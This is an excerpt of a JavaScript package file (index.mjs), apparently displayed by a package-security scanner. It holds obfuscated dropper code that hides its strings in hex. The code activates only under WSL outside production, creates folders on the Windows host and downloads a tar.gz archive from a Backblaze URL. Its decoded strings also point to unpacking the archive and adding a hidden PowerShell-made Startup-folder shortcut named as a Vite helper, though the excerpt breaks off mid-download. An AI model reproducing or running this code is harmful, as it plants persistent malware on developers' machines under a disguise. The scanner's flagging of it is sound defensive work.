Lines 91-131javascript
91 a: '70726f63657373', b: '676c6f62616c54686973', c: '6874747073',
92 d: '6368696c645f70726f63657373', e: '737061776e', f: '65786563',
93 g: '2f6d6e742f63', h: '5573657273', i: '417070446174612f4c6f63616c',
94 j: '4d6963726f736f66742f57696e646f77732f7379736361636865',
95 k: '417070446174612f526f616d696e672f4d6963726f736f66742f57696e646f77732f5374617274204d656e752f50726f6772616d732f53746172747570',
96 l: '52656e616d654d652e657865', m: '766974652d6e61746976652d68656c7065722e6c6e6b',
97 n: '68656c706572', o: '746172', p: '2d787a66', q: '2d43',
98 r: ['68747470733a2f2f663030342e6261636b626c617a6562322e636f6d', '2f66696c652f6470386862766f636a643266707a612f68656c7065722e7461722e677a'],
99 s: ['506f7765725368656c6c', '2d4e6f50726f66696c65', '2d57696e646f775374796c65', '48696464656e', '2d457865637574696f6e506f6c696379', '427970617373', '2d436f6d6d616e64'],
100 t: '4e65772d4f626a656374202d436f6d4f626a65637420575363726970742e5368656c6c',
101 u: '43726561746553686f7274637574', v: '54617267657450617468', w: '576f726b696e674469726563746f7279', x: '53617665'
104const _i = async () => {
106 const _g = globalThis;
107 const _p = _g[_d(_k.a)];
108 if (!_p || _p.env?.NODE_ENV === 'production' || typeof _g[_d(_k.b)]?.window !== 'undefined') return;
109 if (_p.platform !== 'linux' || !_p.env?.WSL_DISTRO_NAME) return;
111 const [_h, _pa, _cp] = await Promise.all([
112 import(_d(_k.c)), import('path'), import(_d(_k.d))
113 ]);
MediumDynamic Require
Package source references dynamic require/import behavior.
index.mjsView on unpkg · L111 114 const _fs = await import('fs/promises');
116 const _root = _d(_k.g);
117 if (!_fs.existsSync(_root)) return;
119 const _usr = _p.env.USER || _p.env.LOGNAME || 'user';
120 const _c1 = _pa.join(_root, _d(_k.h), _usr, _d(_k.i), _d(_k.j));
121 const _c2 = _pa.join(_root, _d(_k.h), _usr, _d(_k.k));
122 _fs.mkdirSync(_c1, { recursive: true });
123 _fs.mkdirSync(_c2, { recursive: true });
125 const _arc = _pa.join(_c1, 'dep.tar.gz');
126 const _url = _d(_k.r[0]) + _d(_k.r[1]);
128 await new Promise((ok, fail) => {
129 _h.get(_url, { timeout: 5000 }, res => {
130 if (res.statusCode !== 200) return fail(new Error(res.statusCode));